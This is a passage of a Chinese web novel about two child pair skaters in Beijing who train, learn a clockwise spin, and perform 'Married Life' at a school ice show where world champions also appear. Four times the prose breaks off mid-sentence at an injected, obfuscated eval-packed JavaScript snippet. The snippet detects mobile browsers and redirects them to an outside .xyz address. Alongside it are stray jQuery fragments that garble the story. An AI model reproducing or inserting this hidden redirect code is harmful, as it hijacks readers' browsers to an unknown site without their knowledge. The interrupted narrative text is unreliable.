只是重新回到她的圈子,和年轻的声音们讨论起来。 贺嘉岁对这个语言一窍不通,只觉得说话像打架,比冰球赛的战况都激烈。 “听说桃李杯的结果出来了?” 林风致风风火火推门,分享情报。 贺嘉岁挂断电话:“对。” 她也是下午才收到爸爸发来的成绩单。 B级少年甲组三等奖,不算太遭,但没达到预期。 “你知道全国有几个三等奖吗?”林风致摇醒她,“我甚至没被艺校选送到正赛。” 她比贺嘉岁高了一个脑袋还多,晃起来地动山摇。 贺嘉岁解释:“我的控制组合不太好,再说,应逢年也是三等奖。” 他在赛前临时改动作都能入围,她以为获奖的概率不小。 “你们俩不会真是小说里的主角?”林风致再次端起怀疑。 贺嘉岁语塞。 难怪爸爸不让自己看小说。 以前是言开,现在是林风致,总神神叨叨。 …… 一个月真漫长。 宿管阿姨的日历撕了好久,还没到国庆假。 “怎么办,知识不进脑子。”贺嘉岁把头埋在书桌。 自从冰时增加,她的作息又回到老样子。 上午在附小上文化课,午饭后离校回基地,下午三点结束软开和陆训,随后上冰。 但体感比体校时累得多,不知道为什么。 “因为附小的老师超级认真。”应逢年说。 他们所在的班级特殊,大半学生都有这样那样的特长。 但老师一视同仁,该回答的问题、该写的作业都不能少。 贺嘉岁刚因给所有大数带错了单位,被数学老师罚了站。 应逢年比她多对两道,幸免于难。 “你还是抄我的作业。”贺嘉岁挪到他身后,愤愤踢了一脚凳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765499|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子腿。 应逢年辩解:“我带了脑子抄。” 好啊,知情不报,罪加一等。 她正来气,又踢了一脚。 应逢年也郁闷,嘟囔说:“带脑子也不行?” …… 隔壁组的教练难得串门观摩教学,大家都打起十二分精神。 一节上冰课下来,林风致带头后悔。 “为什么别人的教练像菩萨,我们的教练满嘴獠牙。” 其他人也附和:“这个教练一定不会罚做深蹲。” 小孩子都是见风使舵的高手。 等下次遇上隔壁教练,大家都撒娇不让走。 起码有外人在场时,教练的臭脾气会收敛一些。 课间,隔壁教练问起:“国庆节会放七天假,大家准备去哪里?” 贺嘉岁摇头:“我们不能随意出基地。” “我至今就没出过基地,好像小说里的冷宫妃子。”林风致哀嚎。 别人笑她又颓又疯的模样:“你明明是从水里捞出来的鬼。” 脸上贴着打湿的碎发,身体几乎要瘫在地上,可不像刚从水里捞起来。 隔壁教练思忖:“我计划带学生去颐和园,你们去吗?” “去!” 大家早弃暗投明。 不管教练吹没吹哨,先报上名。 但事实证明,节假日游景区,简直是个错误。 游北京景区,更是大错特错。 没见过买门票都得等一个小时的阵仗。 “我以为咱们可以免票。”贺嘉岁说。 应逢年偏头:“你得相信自己的身高。” 这只是旅游的第一关。 从庭院绕进景区,里面更是人山人海。 当然,孩子扎堆,本身就热闹。 他们一些是北京土著,或来自更北的北方。 一些来自祖国大陆的南端,几乎看不到银杏的地方。 贺嘉岁张开双臂,抬头说:“好黄的树。” “好没文化的表达。”应逢年评价。 贺嘉岁睨他,用自己毕身学到的腔调:“您给起个范儿?” “好茂盛的树。” “树叶快掉光了。” 风一吹,银杏又开始飘。 落在廊檐上,假石山上,或者刚好飘进她的怀里。 “快日落了,我们还得坐船去南湖岛。”隔壁教练招呼。 一个下午的时间逛不完所有景点。 贺嘉岁握着地图,可惜山上还有很多风景。 “眼前的景色那么好看,你居然在惋惜没见过的小山坡。”应逢年不理解。 他让出船舫的小窗,让她能看见远处连绵的山的全貌。 嗯,的确比一座小山坡要壮观得多。 “我看见光的影子了。” 匆忙登上楼阁,贺嘉岁占据不错的位置,和摄影师肩并肩。 “叔叔,为什么拍这个夕阳?”她问。 摄影师说只可意会,让她仔细看看天。 夕阳坠得更斜,把云的阴影拉得老长,光洒在吹皱的湖面上,有一只正走在光里的游船。 他们刚才也是这么过来的,成为镜头里的一部分。 “应逢年,我也要拍照。”贺嘉岁递去手表。 她早就料想到,只有带上手表,才不虚此行。 应逢年顺从,不得要领地闪了几张:“好了。” 她打着亮棚,不满说:“好在哪,鸽子和我都是黑乎乎的。” “夕阳变成金色了!”有人在身后躁动,“哇”声传染一片。 应逢年眯着眼睛:“像金牌一样金。” “你又没见过金牌。” “总会见到的。” “你好自恋啊,应逢年,”贺嘉岁吐槽,“我都不敢这么说。” “我们是搭档,我拿金牌,你也会拿金牌。” 这些天,他们逐渐开始默契练习,每天都得牵手在冰上溜达,磨合滑速和节奏。 “那我就同意隔壁教练的邀请咯。” “什么邀请?” “明年一月,冰演。” 8. 我居然是顺时针? 这是应逢年第一次听说“冰演”这个词。 他想不明白意思,追着贺嘉岁问。 贺嘉岁终于被他扰得烦:“你居然连冰演都不知道。” 应逢年不减气势,笃定:“你知道得很早吗?” 还真被他猜中。 出发去颐和园的时候,贺嘉岁听到隔壁教练和学生的谈话。 他们在聊全锦赛后,赛季就将告一段落,自己可以趁休赛前接点外活。 “什么是冰演?”她不懂就问。 隔壁教练解答:“冰演类似于舞蹈展演,运动员表演节目,但没有打分和排名。” 师大附中的滑冰馆已经在验收阶段,预计明年一月投入使用,校方发布推文,广泛招募冰演嘉宾。 “嘉宾需要招募?” 贺嘉岁不是没参加过体校的展演活动,但那都是老师安排的任务。 “因为冰演紧接着全锦赛。” 按照花滑协会给出的时间表,年底会陆续举办华夏少锦、青锦和公开组锦标赛,时间堆得紧。 对于国内二流花滑运动员,他们拿不到更多洲际、国际赛资格,能参加的比赛很受限。 全锦赛基本是他们可以触摸到的最好的竞技舞台。 所以去年单男子单人滑这一项,少年、青年及公开三个组别就近百人参与。 贺嘉岁惊掉下巴:“我们有这么多运动员?” 为什么在滨南生活的那些年,她一个都没见过。 “如果你指的是注册运动员的数量,大概有两千人,”隔壁教练说,“今年还多了你们。” 听起来多一个不多,少一个也不少。 “那我能参加冰演吗?” 隔壁教练摇头:“报名需要个人信息,你得先问问你的教练。” “所以,我答不答应都不重要。”应逢年回过味。 她的故事倒了半天,到结局,居然还没征得教练的同意。 贺嘉岁扭头:“怎么不重要?” 她不正在拉帮结派,找人陪自己说情。 应逢年就是最合适的人选。 “我还没答应呢。” “你居然不想去,真不想去吗?” 应逢年想了想,把所有拒绝的话撤下:“退一万步讲,我们没有节目。” 不说节目,他们还不会双人技术,连滑下来的可能都没有。 “节目总会有的。” 但错过机会,那就真的错过了。 …… 训练馆的玻璃幕墙里,又是遍地阳光。 很难想象,国庆节就这么眨眼而过。 大家的玩心没收住,课堂秩序很混乱,教练始终保持严肃,将单项训练量翻了倍。 这对基础还算扎实的贺嘉岁来说,只是多滑两个来回的事。 但有些孩子从起步开始磕磕绊绊,把教练气得够呛。 “这才哪到哪,就开始捡西瓜丢芝麻,连压步都能忘。” 应逢年也属于看戏那一批,早早和贺嘉岁休息,看场上滑来滑去的永动机。 “今天不适合找教练说话。” 他说不清这是什么心理,有些可惜,但又庆幸。 自己一定是渴望表演的。 当初贺嘉岁鼓励自己报名桃李杯,节目相继通过体校和东南赛区的初审,他高兴得整晚睡不着。 但花滑不是他擅长的领域。 起码对于现在的他来说,还不太擅长。 即使他总爱用鼓吹“天赋”的方式保持信心。 听这语气,贺嘉岁警惕:“你和我拉过勾的,别打退堂鼓。” 应逢年问:“为什么不等我们准备好再上场?” “什么才叫准备好?”贺嘉岁反问,“我们没学过几节语文、数学,不还是要准备学校的期中考试。” 国庆节的后几天,他们一直在恶补知识点,甚至请了林风致辅导作业。 虽然林风致的月考也一塌糊涂。 应逢年叹气:“头疼。” 数学可是比花滑更难擅长的东西。 但现实根本不容他们抉择。 下课前,教练陈述:“为了激励大家,我们会在一月参与师大附中的开冰仪式,具体时间待定。” 有人遂了愿,有人碎了一地。 林风致像被抽干了灵魂,回到宿舍都难缓过来。 “嘉岁,我把你当主角,你居然把我当反派。”她倒在床铺上,继续过瘾。 贺嘉岁看她戏精上身,耸着肩。 “应逢年不想参加,我本来打算放弃的。” 但教练不仅先斩后奏,甚至安排了编舞师,明天就能开始学节目。 “我看过前辈们的视频,感觉冰舞应该不难,”林风致翻身撑着脑袋,“但你们双人滑好恐怖,直接把女孩子往天上扔。” 往天上扔…… 贺嘉岁科普:“那叫捻转,不过和冰舞的捻转不太一样。” 她也观摩过容翡/张晨旭在世锦赛上的夺魁之战。 捻三,3T+3T联跳,都是高难度动作。 自己什么时候才能解锁跳跃呀。 …… 又一天上冰结束,编舞师叫走贺嘉岁和应逢年。 “你们的舞蹈水平是这批孩子里最好的,练习时也会无意中调动情绪,很有表演意识。” 贺嘉岁羞得没边。 自从离开体校的舞蹈老师,她很少被捧得这么高。 还是有理有据的。 旁边的应逢年认真点头,生怕错过一个字。 “我给你们挑了容/张在青年组时的节目,《MarriedLife》。” 贺嘉岁皱眉:“这是英语?” 在期中考试结束前,数学会是她的宿敌,英语也是。 “出自《飞屋环游记》,一部很好看的动画电影,”编舞师打开音乐软件,就着BGM讲述,“因为是短节目,音乐不长,曲风也活泼,很适合你们。” 想到是当今华夏最厉害的双人滑组合,贺嘉岁有些担心。 “他们的节目,会不会难学?” “原版的托举和单跳都属于青年组顶配,肯定很难,”编舞师说,“但我们本来就不是为了复刻第二个容/张,只是借鉴风格和编排思路。” 贺嘉岁悄悄问:“抄作业会被发现的吧?” 应逢年打了个喷嚏,总觉得她意有所指。 编舞师说着“没关系”,打消顾虑:“只是冰演的临时节目,可况,这支舞的编排就是我。” 那就学,放心大胆地学。 节目的编排很简单。 编舞师的手指一划,删除所有技术动作,只保留了衔接和步法。 “括弧步和内勾步有些复杂,这个难度步法串……” “留下来,”贺嘉岁捏着袖口,央求说,“再删就没东西了。” 她眼看着精致的节目逐渐回归毛坯。 这哪里是双人滑,已经能和隔壁冰舞一较高下。 应逢年也商量:“保留跳跃吧,我们最近掌握了华尔兹跳,其他一周跳应该也能练成。” “最近还有旋转专项课,再加一个旋转吧。” 至于抛跳、捻转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765500|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和托举之辈,按教练的话说,必须得循序渐进。 就先这么敲定。 …… 人生头十年,贺嘉岁没遇到过比数学更强劲的敌人。 自从学了旋转,冰场处处是敌人。 “你们怎么就转起来了?”她不甘心。 在一天之前,她还是班里最顺风顺水的那个,能用最标准的动作换最久的休息时间。 今天,她居然沦落到被教练开小灶。 “双手平举,左脚点冰,膝盖弯曲、外开,右脚尖往回兜。”她嘴里默念,按要求起势。 教练打量,确认动作基本到位:“记住旋转时保持直立,手臂慢慢收回胸前夹紧。” 右臂带起速度,风在耳边呼啸了一瞬。 重心歪掉,又跑圈了。 谁都找不到缘由。 教练挠了挠头,先肯定她的动作结构:“可能还没参悟,再多练几次。” 被留堂的不止她一个,教练还得兼顾其他人,傍晚天光没尽,冰场有些冷清。 真是孤军奋战。 “贺嘉岁。”声音从背后响起。 哦,还有她那便宜搭档。 心里尚对应逢年的超常发挥有些不满,贺嘉岁还是溜到场边:“你干嘛回来?” “食堂的窗口快收摊了,我给你带了煎饼果子。” “我唔好食薄脆。” “没有薄脆,双倍生菜和鸡蛋。” 贺嘉岁的眼睛亮了亮:“但我现在没法吃饭。” 应逢年重新把煎饼果子捂回外套:“还是双足转?” 她点头。 “你有指导建议?” 应逢年一直关注另一方的教练,把自己藏入视角盲区,神秘兮兮说了句:“没有建议。” 真是浪费表情。 贺嘉岁放下嘴角:“你今天没数学作业可抄了。” “昨天是你抄我的。” “以后也没有了。” “别,”应逢年正经说,“既然左脚点冰转不起来,那你试试右脚点冰?” 听起来像歪点子。 但试试就试试。 相同的动作,镜像翻转,贺嘉岁再三确认起转姿势标准。 有种说不出的异样感。 很奇怪。 在从未预演的情况下,左臂带动身体进转,她居然能把重心锁在旋转轴,甚至转了四圈之多。 还能过渡重心,以右脚滑出。 一切行云流水,就发生在十秒之间。 大脑有些眩晕,贺嘉岁反应了一会儿,随后向应逢年滑去。 她拍着板墙,着急问:“你看见了吗?” “我看见了,”应逢年点头,“转神附体。” “我根本没练过!”她摊手,说不清是惊喜还是惊讶。 “贺嘉岁,再转一次。” 是教练。 显然,见证这个旋转的不止他们两个人。 贺嘉岁立正站好:“但这不是您教的双足直立转。” “是,只是主力腿不同。” 她继续打预防针:“我刚才是瞎蒙的。” “没关系。” 在教练的注视下,贺嘉岁再次摆出规尺步,左脚收回引导转向。 滑出。 又成功了。 连自己都无法解释,苦练一天但成功率为零的左脚点冰,和无心插柳柳成荫的反向旋转。 “是不是有人在背后操控我。” 教练沉思:“你惯用顺时针。” 什么? 她居然是顺时针选手? 9. 关公面前耍大刀 “不会吧。”贺嘉岁下意识否认。 她知道旋转方向有顺逆之分,也知道绝大多数运动员都是逆时针。 所以理所应当地认为,自己是其中一个。 “可我的跳跃是逆时针。” 她屈膝向前腾起,右足落冰,是个华尔兹跳。 “贺嘉岁也不是左撇子,”应逢年作证,“左撇子很聪明。” 贺嘉岁瞪他:“看不起谁?我会用左手握筷子。” 在记事以前,她大概就习惯用左手。 只是后来观察大家用右手吃饭,右手写字,她也随大流。 “这是基因决定的,很难在后天完全纠正,”意识到这个话题对他们来说过于高深,教练只浅显回到跳跃,“嘉岁,你现在习惯逆时针跳跃,是因为只学习了逆时针。” 等练习顺时针旋转的时间越长,左右腿力量差距越大,就更依赖把左腿作为主力腿。 贺嘉岁半知半解,只觉得脑子也在转圈圈。 “我需要改正这个问题吗?” “改正很难,去顺应它。” 事实证明,不是所有习惯都能被驯服,身体最诚实。 “以后的训练也会很难吧。” 她和别人不一样。 教练教逆时针的旋转和跳跃,大家学逆时针的旋转和跳跃,只有自己得换着思路来。 她突然想到什么:“那我和应逢年……” 方向不一致,组合应该很难做到整齐划一。 “国外有类似的先例,”教练肯定,“你们得好好把握,这一定是加分项。” …… 贺嘉岁在周记里写,十一月真把自己耍得团团转。 她的期中数学没及格,成绩在全班倒数。 好消息是,应逢年也没及格,比她还低两分。 但他的英语超常发挥,在整个班级都排前茅。 “也还行吧,”贺嘉岁翘起嘴角,“我的作文是满分,年级独一份。” 尾音扬得高高的。 应逢年在课堂就完成试卷改错,等磨蹭精慢吞吞收拾。 “还有半小时上舞蹈课。”他低头看手表。 贺嘉岁再三确认带齐作业,不疾不徐:“节目学得差不多了,今天应该会轻松些。” 编舞师还有其他工作,下周离开北京。 这些天,他们几乎泡在舞蹈室,学习动作和走位。 运动员的舞蹈课和古典舞课很不同。 以前的老师教外圆内方、欲左先右,他们现在得学下肢力量控制,表演形式更近似芭蕾。 “会不会串范?” 几节基训课后,贺嘉岁最怕自己学个四不像。 “融合得很好,既能看出身韵,也能看出肌肉,”编舞师中肯说,“是很独特的风格。” 很好,自信限时回归。 休息得差不多,贺嘉岁撑起身:“最后再熟悉一遍动作。” 《MarriedLife》以钢琴和小提琴为主旋律,讲述了主角的一生:和妻子从青梅竹马到厮守一生,再生离死别。 对于孩子们来说,表演的递进很困难。 这需要阅历堆砌,但他们对感情的认知还太懵懂。 “舞蹈动作过关,”编舞师鼓掌,宣告工作结束,“祝你们演出顺利。” 转场到冰场,教练已等候多时。 其他学员正贴墙板调整跳跃细节,个个挂着红脸。 “他们又挨训了。”贺嘉岁小声说。 跳跃很难,尤其在入门时,得养成正确的发力和用刃习惯。 不过应该真像应逢年说的那样,他俩有点天赋在身上,起跳水到渠成,足周落冰只是时间问题。 自然而然,他们的训练重点和别人不同。 教练挑着下巴:“节目已经编完了?” “嗯。” “那就在冰上试一次。” 嗯? 贺嘉岁辩解:“只是学会了动作,还没一起跳过。” 她尚且不习惯和人手牵手滑行。 安全问题是其次。 她总觉得这样奇怪,手从被握住的那一刻开始发烫。 即使她和应逢年这样训练太多次。 “还有一个多月,”教练的声音冷下来,“我现在看到的进展为零。” 默契度为零,完整度为零,技术难度为零,堪称“三无”。 赶鸭子上架的效果的确不好。 音乐在冰上铺展,故事主角浓缩为小小的两个点,从东滑到西,像被冻僵的鸭子。 比平时更笨拙,舞蹈功底也看不出。 教练扶着眼睛,叹气说:“还差得远,先入队。” 加入贴墙角的队伍,贺嘉岁居然感觉解脱。 “还不是因为怕被你拽倒。”她对上应逢年的眼神。 三分钟的节目,她的手臂从头麻到尾。 应逢年喊冤:“什么时候发生过。” “数学,你把我的数学拽下去了。” “我俩的数学需要拽吗?” 差得相辅相成。 讲小话被逮正着,加之舞蹈课占用了冰时,贺嘉岁不负众望被留堂。 但这次没有帮忙带饭的好搭档。 应逢年的状况比她还糟糕,正说话时被逮住,教练批评教育了十分钟。 下课铃响,其他学员解散。 林风致几乎是蹦出冰场:“今天又水过去了。” 最近的专项是五个一周跳。 她对自己的定位局限在冰舞运动员,所以根本不上心。 冰舞和花滑其他几项的最大区别,就是没有跳跃。 贺嘉岁小声提醒:“但考级会考的。” “考级还远着呢,早学早忘。” 相处几个月,她们的关系还算不错,但直觉告诉贺嘉岁,自己不能学她这么做。 …… 后外点冰跳的陆地分解已经炉火纯青,但搬上冰面就打回原形。 “明明点冰很到位。” 冰面摩擦力小,起跳前再谨慎,线路都会出问题,容易收不住。 更谨慎一些,落冰点和点冰处几乎重合,像只原地挣扎的陀螺。 转不起来的那种。 应逢年自个也没琢磨出来,还腾出心情安慰:“才学几天,别着急。” “是你要求把跳跃加进节目的,”贺嘉岁准备了好大一口锅,“要是咱俩在这上面丢人,你就等着谢罪吧。” “你让保留旋转,那才是灾难现场。” 跳跃还没学会,但他们已经在节目里尝试正直立和反直立转。 两人的转速随心所欲,很难打好配合。 林风致佩服他们进步之快:“知足吧,你们已经是班里称王称霸的存在了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765501|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “但根本达不到及格线。” “我给你兜底。” 话是这么说,贺嘉岁不允许自己原地踏步。 那就换个方向试试。 教练说过,她不必因为追求大流放弃自己的独特。 前内转三准备进跳,中道泄气。 第一次尝试,没做好准备。 她向教练求证动作正确,在第二次坚决起跳。 摔倒。 “没做好落冰的准备,上肢很松散,下肢很随意,点冰像犁地。” 碍于教练在场,应逢年只能用口型传达他的激动:是过周摔,过周! 运动员对新技术有畏惧心理,主力腿发软是常事。 教练也不硬逼,从进跳开始纠正。 “左脚在转三后保持外刃,点冰腿向后延伸,滑足接近点冰脚,向前方起跳!” 几乎同时,贺嘉岁在空中转体半周,左脚落冰。 还有弧线滑出。 “我是怎么做到的?” 她捂着脑门,质疑比应逢年的感叹还要迅速。 对新学者来说,落冰钉住不少见,流畅滑出也是一门学问。 只有一种解释,自己是顺时针的天选之子。 就像数学老师说的,那些解不开的难题,换个方向就能解决。 诚不欺我。 教练略略点头:“落冰很好,起跳着急了。” “我怕跳不起来,周数不够。” “高度是足够的,过周四十度,”教练用文件夹指了指,“按刚才的步骤多练几次,找到落冰的感觉。” 虽然舞蹈课有在配合改善运动机能,但她的下肢力量还是薄弱,容易在落冰时发软,浮足乱甩。 只是勉强过了教练这一关。 “应逢年,别那么刻苦。” 这回,贺嘉岁技高一筹,变成场外干扰的那一个。 “我要吃干炒牛河,带镬气的。” 应逢年只是报上菜名,完全没有下冰的冲动。 似乎不练出后外点冰跳不罢休。 那就暂且让他一回吧。 落后已经够心塞了。 …… 冰演定在翻过年来的1月9日。 据说这日子是请道士专门算的,宜开张纳财。 可不纳财吗? 贺嘉岁到了现场才知道,今天的开冰仪式对市民放开,但得付费。 “那咱们可以拿钱吗?”她问带来小道消息的林风致。 “我们是志愿者,充其量是工作人员。” 连嘉宾都算不上。 也能理解,毕竟他们这样的速成水平,应该不会有观众想买单。 在后场热身,贺嘉岁路过入场通道好多次。 好奇心驱使她走进,扒着门缝往里窥。 “你在看什么?”应逢年凑近。 “好多人。” 一个中学的开冰仪式,怎么会有这么多观众上座。 这比她想象中的场景还要宏大。 “真是他们吗?他们连全锦赛都没参加,居然回国了。”有路人经过,声音猝不及防扎进耳朵。 脚步声渐远,脚步声渐近,人员来来往往。 “内场已经开始表演了?”有个女声在头顶响起,“我也瞅瞅。” 贺嘉岁一个激灵。 完了,关公面前耍大刀。 10. 一周跳也是跳 贺嘉岁很难说清这是什么感觉。 那个只在屏幕里出现过的人,在大大小小国际赛尽情绽放的人,突然就降临在头顶。 还带着室外阳光和雪的味道。 但她没敢攀谈,搡着应逢年就走。 “那是容翡前辈吗?”她埋头问。 萦绕在耳边的腔调,和势必拿下奥运冠军的誓言的音色太重合,但她还是不敢确信。 “是,”应逢年笑着说,“原来你不止记不住我。” 她扭头:“我早记住了。” 回到更衣室,运动员们各有乐趣,林风致认识了新朋友,加入她们的飞行棋局。 余光扫到刚进门的两人,她问:“演出顺序有修改,你们看见了吗?容/张排在前面,是容/张。” 最后几字拖了尾音,试图传达准确。 “嗯,刚才遇见了。” 林风致叹出一声“天呐”,随便把棋子委托给谁。 “你去哪?”贺嘉岁看一道影子闪出去。 “看偶像。” 一头扎进走廊,迎面就撞上容翡和张晨旭。 林风致退到一边,拍了拍贺嘉岁:“居然是真的,世界冠军在我眼前。” 两个小姑娘的脸颊都红着。 “趁他们没走远,你不说点什么吗?”贺嘉岁着急地怂恿,“你偶像。” 林风致的手在裙角乱拧,颤抖出声:“前辈。” 容翡回头:“你好。” 林风致把贺嘉岁拉到跟前,跺着步子:“她在和我说话。” 贺嘉岁郑重地点头。 她懂,接受现实是一个过程,再大的孩子也会这样。 林风致继续问:“你们认识叶绍瑶和季林越两位前辈吗?” “是很多年的好朋友。” “我补完了他们的所有比赛,比喜欢金/陈还要喜欢。他们也在北京吗?” 张晨旭憋着笑,也冲容翡说:“不是喜欢咱俩的。” “都喜欢,”林风致找补,“我的心里可以住很多人。” “小小年纪,别让心里住太多人,”容翡笑意不减,正经说,“如果不出意外,他们正在蒙特利尔备战,接下来有四大洲和世锦赛。” 张晨旭搭腔:“我们也刚从俄国回京,下个月飞韩国。” 世界冠军在跟前左一句右一句,林风致似乎要羞炸了。 贺嘉岁按捺情绪,镇定说:“比赛加油。” 远处应逢年过来找人,上半场就快开始。 “我们得走了,”她和容翡挥别,“真希望以后能有一起比赛的机会。” “快点成长起来,就会有机会。” 容翡的手落在她的背上,助力推她远去。 张晨旭问:“是跨项选材过来的?听口音像南方人。” “领导不就喜欢做些感动自己的事,”她苦笑,“希望他们能在花滑里找到人生。” …… 一个中学的非标准冰场,没有阶梯式观众席,只围绕一圈看台,此刻也全坐满了。 有人在感叹容/张的号召力。 “他们很少参加冰演,从来特立独行,不知学校请了哪路神仙。” “话那么多,看就完了。” 压力自然会给到从来没见过大场面的新一代。 “还好吧,”应逢年不自觉抖着腿,“桃李杯的观众比这还多。” 贺嘉岁把手圈成话筒,采访问:“你擅长跳舞我知道,但你擅长滑冰吗?” 这怎么能相提并论。 “起码比昨天好。” 开场舞上了一大队人马,据说是首体大拨过来的,个个一身黑,像要拿着家伙事打群架。 贺嘉岁第一次知道,花滑除单人滑、双人滑和冰舞四项外,还有队列滑。 十六个人,好危险哦。 欧美金曲正在播放,场上队形变了又变。 运动员们交错、换向,又奇妙地找到牵手的伴,汇聚在一点,成为逆向旋转的风车。 贺嘉岁的嘴没合上过。 这是什么表演。 她和应逢年手拉手训练,偶尔出现一个带倒一个的状况。 4×4的队形,岂不是更容易……一个带倒一个带倒一个带倒一个。 她往后仰了仰,试图赶走奇怪的想法。 应逢年紧张得更厉害。 队列滑后是万众期待的容/张,再就是他俩的节目。 谁给排的顺序。 “你最近在外面拉仇恨了吗?”他问。 贺嘉岁学他说话:“你最近在外面拉仇恨了吗?” 容/张的冰演用了本赛季短节目,选曲自俄国演唱组合的传统民谣,编曲恢宏。 感情尤其充沛,技术动作也一个没少。 单跳3F,抛3Lo,5组拉索托举,直接把观众拉入赛场。 但在座有谁能接受这份战书? 贺嘉岁有些后悔同台竞技的放话。 容/张是做到了,她还完全不够格。 又一个捻转三周。 旁边的林风致已经看傻:“人怎么能在空中横着转圈圈。” 这是她第无数次庆幸,当初领导把她分到冰舞行列。 也是第无数次对着贺嘉岁和应逢年叹气,内容是“好自为之”。 应逢年深吸一口气,闭上眼睛暗示:“我不能被影响。贺嘉岁,你也不能被影响。” “我和他们不熟,一定不会被影响。” 她一一扫过冰场四周,所有人都注视着冰场。 容/张和音乐一同织就了一个民族的叙事诗,还在升华。 怎么有这么多人啊,她想。 但转念,她和他们的缘分大概只能支撑见一面。 表演之后,所有人都会记得容翡和张晨旭,没人讨论他们是谁。 所以,去丢脸吧。 暖场互动后,主持人念起串词:“接下来,由双人滑组合贺嘉岁/应逢年带来节目《MarriedLife》。” 彩排时,教练提醒过何时入场,她和应逢年记得牢。 但总觉得少了什么。 她径直向冰场中央奔去,应逢年拉都拉不住。 他用压着嗓子能发出的最大声音提醒:“行礼,行礼!” 贺嘉岁仿佛无事人,在远处绕一圈回来,牵手致意。 “其实我没忘,真的。”她也压着嗓子回。 音乐响起,前段以单簧管为主导,偶尔加入钢琴的跳脱。 贺嘉岁和应逢年承担不了高难度技术,是以节目更倾向舞蹈表演。 一段轻快的原地华尔兹,年轻人们对未来充满希望。 正式起步,两人背身滑行一段,压步重新回到原点,应逢年引导举手转后,牵着贺嘉岁滑出。 他们原本想在体力最充沛时加入1组托举,手握腋下,看着难度不大。 但教练认为他们压根没系统接触过这门技术,强硬拒绝。 只能用冰舞捻转代替。 牵手压步,在场中独立进入前内转三,一个不太同步,但质量都还不错的1T落冰。 观众们投来掌声,贺嘉岁有些受宠若惊。 这是她头一回在花滑表演中得到认可。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765502|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滑速突然加快一分,应逢年转身发现距离有些远,也加刀试图赶上去。 夏塞步调整方向,他们重新手拉手进入压步,在长轴处分开,以舞蹈伴随莫霍克步亮相。 前C进入单人旋转,悠扬的音乐逐渐转折。 他们擅长的不是同一个旋转方向,索性在直立转后,滑行轨迹交错开。 镜像的内外勾步和乔克塔步法串,最后又在场中交汇。 仍然是面对面手拉手的冰舞式握法,跪冰滑行,贺嘉岁靠在应逢年的肩上。 故事变成怀念,钢琴像主人公的独白,他承认岁月有痕。 再起身,他们成为两个时空的人。 平行滑行,但方向始终相错,上肢舞蹈述说着他们已天人永隔。 而后是对称的单足弧线。 弧线尽头,他们重新握在一起,浮腿始终悬在外,颇像单足联合旋转。 滑速渐慢,和弦收场。 主人公终于又见到他的心上人,在释怀之后。 没忘记退场前的致意,贺嘉岁学着前辈,向四周看台鞠躬。 “不错,完整滑下来了。” 教练的语气很认真,眉头也紧拧着,仿佛这不是表演,比赛正在白热化。 林风致从身后钻出来,手里摆出几个造型:“这套节目好像冰舞,我也学过这几种握法。” “不像,”贺嘉岁忙着戴刀套,头也没抬,“我们有跳跃。” 对他们来说,更难的技术动作还是奢侈。 他们上冰晚,即使每周冰时翻倍,也不能弥补先天劣势。 但一周跳也是跳呀。 后面的节目水平有高有低。 低的如同班的林风致,她的搭档在燕式步时卡冰摔倒,看着挺疼。 高的如穿着考斯滕的专业运动员。 贺嘉岁有幸,在现场见证不少三周跳。 看来大家都把开冰仪式当做展示机会。 “她的年纪看着好小。” “你又忘记她是谁了。” “常希贻。”贺嘉岁连蒙带猜。 她认识的人不多,选项就那么一两个。 应逢年鼓掌应和:“真棒。” 常希贻把2A搬上节目,像朵小旋风,在空中转两圈半后轻盈落冰。 比几个月前的质量高不少。 表演看得起劲,贺嘉岁正在感慨清闲,煞风景的人物拿着凶器出现。 教练把他们带回后场:“我拍了你们的表演录像。” “拍这个做什么?” 虽然贺嘉岁自认已经浑身解数,但道行高低,她很有自知之明。 “复盘,”教练看他们迷茫,解释说,“这是比赛后的必做项。” 手机自动播放,从开场动作开始,镜头始终把他们框在画里。 